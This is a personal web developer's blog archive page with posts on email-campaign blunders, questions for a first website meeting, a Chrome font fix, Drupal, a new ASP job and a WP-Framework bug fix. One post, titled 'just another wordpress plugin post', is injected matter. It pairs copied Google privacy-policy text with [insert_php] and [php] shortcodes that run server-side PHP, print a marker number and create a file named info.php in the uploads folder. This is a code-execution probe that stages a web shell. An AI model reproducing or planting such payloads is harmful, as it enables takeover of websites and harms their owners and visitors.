Category Archives: Thoughts

Whoops! I didn’t mean to send that email.

If there’s one thing that I have learned in life, it is that the majority of our lessons come from the mistakes that we make. And I guess by “we,” I really mean “me” in this case.

One of my very first mistakes I made as a professional software engineer happened to involve email. My boss told me that I was to prepare an email campaign to send out to 10,000 people. Now, I had never done an email campaign before. I was just fresh out of college– very green. I didn’t even know there WERE email campaigns. So this was all very new to me. My boss was pleasant enough about it. He gave me step-by-step instructions and told me what to do. The first step to creating this email campaign was to create a test email. I was supposed to send that test email to 3 to 5 people so that they can look over it and approve the contents and look-and-feel. In order to remind people that the email was a test email, I was supposed to put the word”test” in the subject line. So I did! And, that went well. Everyone must please and they were ready for me to push the big fat “Send” button.

I was really excited to finally be able to send out my very first email campaign. I got together the entire mailing list of 10,000 names and entered it into the mailing system. Eagerly, I sent it on its merry way. Just after I sent the email to thousands and thousands of people, I noticed the subject line still had the word”Test” and it. I was absolutely mortified. I couldn’t believe that I had forgotten such a simple thing.

That day, I learned to check and double-check and triple check my subject lines of every email that I ever send–even my personal emails.

Fast forward a couple more years when I made my next email mistake. I had gone off to start my own consulting company. I was handling the online presence for several celebrities. During one of my correspondences, I cc’d another one of my clients and hit send. And wouldn’t you know it– after I received the confirmation that the email was on its way, I realize that I also sent the email to one of my client’s fans, instead of my client and the second intended recipient. I was terrified. At that point I wasn’t even sure what to do. The best thing I could do was send an apology to my client and not acknowledge what happened to the other person. That time, the lesson I learned from that was to always triple check my “to” and “cc” lines.

Every now and then I make a few mistakes in regards to emails. But today was a mistake that I was kind of surprised I made. As I announced before, I have decided to rebrand. Part of the task of rebranding is to create a new email template for my blog posts. Now, I use MailChimp to let people know that I posted a blog. So I needed to change my mail template on MailChimp from the Essence Interactive template to my personal brand. Over a weekend, I created a new template. My emails are generally sent every Monday at 5 PM Eastern to notify my clients or other various people that I’ve worked with that I have written a blog post.

Welp, sure enough, the Monday after I penned the post about WordPress APIs, I got an email back from my mother, of all people, questioning the contents of my email. It was then that I realized the template was not done correctly. Instead of it being dynamically populated with my actual blog posts it was the template text! This of course makes no sense to anyone who is reading it. And it certainly wouldn’t look good if I was advertising  myself to be someone who makes email templates (which I am not).

Oh well, I guess sometimes you win some and you loose some. So now I’ll  fix my template and make sure that everything is working well. And of course all of my email clients will get notified once I post this blog post. But sometimes you just have to sit back and laugh with the situation. Life is too short takes such things so seriously. I will do better next time.

And if there’s any moral of would like for you to leave with today for this blog posts. It would be that. Do better next time. Don’t take it so seriously. There is always room for improvement.

several computers on a desk

So, you wanna start a website?

several computers on a deskAlright, so you’ve been hearing about this thing called the “Internet” now for like, 10 years and you’ve even ventured onto Facebook, and although you still don’t quite get it, you have finally come to terms with the fact that… YOU NEED A WEBSITE. Now the question is, “What the heck? How do I do this?”

Perhaps you invest in a mac because you’re told you can do it yourself with their tool called iWeb. Or you’ve gone out and purchased Dreamweaver, because someone said that’s what you use. Okay, now what? You could sludge through tons and tons of online tutorials on how to use these tools, but most people who do eventually come to terms with the fact that… they need help.

So, where do you start?

Well, first of all, you probably know someone or know someone who knows someone who can do a website for a reasonable price. So, start trying to get into contact with whoever that person is. But when you finally DO have your meeting with that person, come prepared!

This post will give you a few questions and info to gather for your new website venture and your first meeting with your web person. I’ll be posting a series of blogs that will help you with the entire process over the next few weeks but for today we’ll just deal with the first meeting.

  1. What kind of business do you have? This is important because there are a set of specific pages that most web designers know should exist depending on what your website is trying to sell. For instance, if your business is a storefront where you sell designer boots, then your designer will need to know that you’ll need a shopping cart and all of the bells and whistles that go with this. If your business is selling your voice-over skills to the local studios, your designer will need to ensure that you have a voice-over portfolio page and possibly some special access to possible recruiters or employers. If you’re a novelist, there will need to be pages about your works and publications. I think you get the drift.
  2. Given no budget, what would you want your website to do in 10 years? No, I know that there probably IS a budget, but giving your web designer an overall perspective on what you’re eventually going to do with the website is helpful in planning. Now, you may not know and that’s okay. But do try to take at least 10 minutes to sit down and jot some ideas on what it COULD do. 🙂 Trust me, you’ll really probably like the process.
  3. What do you expect this website to do for you? Make sure your developer/designer knows what you are expecting from the website. “I want 100,00 hits in two months” is an example of that. This helps the designer/developer know what they can provide for you on a more reality-based set of circumstances. For instance, if you are Julia Roberts, that may work. But if you are not someone of great fame already, the designer/developer can help you redirect goals to a more reasonable level and give you a good process in order to eventually get to that final goal.
  4. Why should anyone care? And of course, I mean this in the nicest way possible. Really, why are you unique. Why should anyone give a damn about your website? If you want to create just some store out on the internet, fine… a designer/developer would probably gladly except your money in exchange for another store out there. But its ALWAYS good to be UNIQUE in what you are bringing and to be clear about that uniqueness.
  5. What is your budget? Come on, now, this is a serious question. I’ve experienced a lot of people who like to keep that question vague to see what they can get out of me and its just a bit annoying. 🙂 State the budget. Trust me, your developer can give you an accurate quote based on that. If you asked for a 10 page site and then you say your budget is 300.00, then your designer/developer can at least adjust and give you one kick-ass home page.
  6. When do you want this completed? DON’T leave this open-ended. Give a deadline. Give a deadline for the proposal and don’t be afraid to set reasonable consequences.
  7. What do you like on other websites and what do you hate? Give examples. VERY HELPFUL!
  8. How much time and resources will you want to commit to this new venture after its done? Your team will want to know this in order to quote out the possibility of an admin-able website to enable you to change your own content, or they may not if you don’t intend on spending your time doing this. In my experience, paying more money upfront to get the admin-able stuff is always the best bet because otherwise you’ll be paying here and there for things that eventually add up.
  9. Who is your target market? Type (Businesses or consumers?), ages, gender, etc. If you’re a website for elderly people, for instance, you will want to make sure your site accomodates larger texts. If you’re a website for teen girls, you’ll probably be looking for a more vibrant and hip look and feel to it.

This just about covers the info you should bring on your first meeting. Next, we’ll go over more specifics about budgeting and maintenance.

just another wordpress plugin post

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Chrome Oddities

So, I recently made the fateful switch to Google’s browser, “Chrome” and have been liking the experience thus far, which the exception of having my developing tools on Firefox. Last night, I opened my browser and all the fonts had turned into these weird As with boxes around them.

At first, I thought, “hm… must be some sort of tongue-in-cheek thing that google’s doing?” But then I realized that it was happening on every page that I was going to! Pfft.

Anyway, after some google searching in Firefox, I ran onto an article titled “How to Fix Chrome for Mac Broken Fonts.” I might have just titled it “Fonts are broken on chrome!” or “Boxes around A’s on Chrome” but that doesn’t really matter, because they gave awesomely useful tips on how to correct the annoying issue, which is that you need to clear your fonts cache.

So, if you have the same issue, go read that article and you should be fixed in a jiffy!

Drupalites

So I’m working on an upcoming conversion of a huge site with tons of content from a highly customized version of PostNuke to Drupal 6x. I’ve never worked in Drupal before, so reading up on it… I had no idea that it worked the way it does. It’s funny because I get a feeling of “smooth” when I work with it, too. Like things just work, and its crazy.

I’m wondering what they general experience is of other developers who start Drupal for the first time. Besides the nature of it being centered around content/nodes, is there anything important to remember in order to really properly create Drupal modules?

The project I’m working on will require some things written, and thankfully much of it can utilize the base framework and contributions.

Learning ASP

I’ve been quiet for the last few weeks, haven’t I? I mean, I know I don’t post here very often, but I’ve been exceptionally quiet… even my twitter isn’t a-twittering

It’s because I’ve joined the work-force. Yes, indeed. It’s a tough world out there!  We do what we need to do to survive. You know, I recently watched the movie, “Book of Eli,” and decided that I did NOT want to have to resort to eating… well… not chicken… in order to live. So, I went forth and begged… and found a job.

It wasn’t that hard, actually. I knew someone who knew someone… went and asked if they were looking to hire, and indeed they were. So I found myself suddenly in the midst of *achoo* a Windows developing environment, learning ASP and VB. It’s pretty dang cool. The most challenging aspect of it isn’t learning the new language… it’s re-learning windows. I have been a mac-user for so long now that even the silliest things in windows I’ve completely forgotten. So I feel like a bit of an idiot when it comes to IIS and registering DLLs and components and regedit… etc. But hey, it’s fun! And challenging! And Challenging is something I have been looking for!

What does this mean about Essence Interactive? Not much. See, if you haven’t noticed, I like to think that I can do it all. And usually I can! The most I can say is that there is now a queue of clients. If you want your site done by Essence Interactive, Inc, you will have to wait up to two weeks before it can begin, so please plan accordingly.

Essence interactive, Inc’s website is still in design phase. We’re trying to find that perfect “in yo’ face!” image that isn’t so much in yo’ face but is “AHA THIS IS THE BEST COMPANY FOR ME.”

I mean really, I’m only taking the full time job to support my habits over at essenceexpressions.com and comingoutsupport.com and also be able to continue servicing my lovely lovely clients the lovely lovely way I have been.

Two sites will get done by next weekend or else I will leave the industry forever… dorisegan.com and thefeijoosisters.com. These two had to take a pause in rendering due to my fulltime job schedule but i think I’ve got things to a regular schedule and will get them done this weekend! For Feijoosisters it’s almost all content that I’m waiting to do… so its just waiting on the data and it can be released. It’ll be the most beautiful dancer’s site ever! Doris Egan’s site is more tiny tweaks she wants and I shall give her!

Also in the queue is more work on issimo-usa.com, revolution mobility, kristin kreuk’s site will be getting an improvement, allison mack’s site will be pulling the wardrobe change trick as well. On top of that we’re doing some awesome additions to distinctivefabric.com making it easier for the clients to save their data and improving some functionality to the checkout procedures.

So, not much going on… just that. 😉 Oh and also, personally my partner and I are moving to Albany (from Clifton Park) to be closer to the new job. Plus, we’re going to be working on a family soon and we’re gonna need more space! Helena and I decided to blog our adventures regarding the family, because there’s oh-so-much to share!

A’ight. My schedule for the new job is 7:00am to 3:30pm soooooo it’s about bedtime folks. Enjoy your week and I’ll check in with you all next week with the fresh launch of two sites!

PS It’s possible I’m singing on Valentines Day… not sure yet….

Wp-Framework Error Fix

I am making a website for a friend who runs a car-care concierge service and decided to use the WP-Framework theme to start off with. Everything went smoothly until I was nearly done and noticed a glitch in the <title> tag for the blog link. After some investigation on the issue, I found the bug in library/extensions/semantic-classes.php on line 62.

else : wp_title( '&raquo', true, 'left' ); bloginfo( 'name' );

I fixed the issue by adding a semi-colon and changing the value from left to right. This matched the rest of the site.

else : wp_title( '&raquo;', true, 'right' ); bloginfo( 'name' );

Very small fix for anyone out there using the theme, but thought I’d share.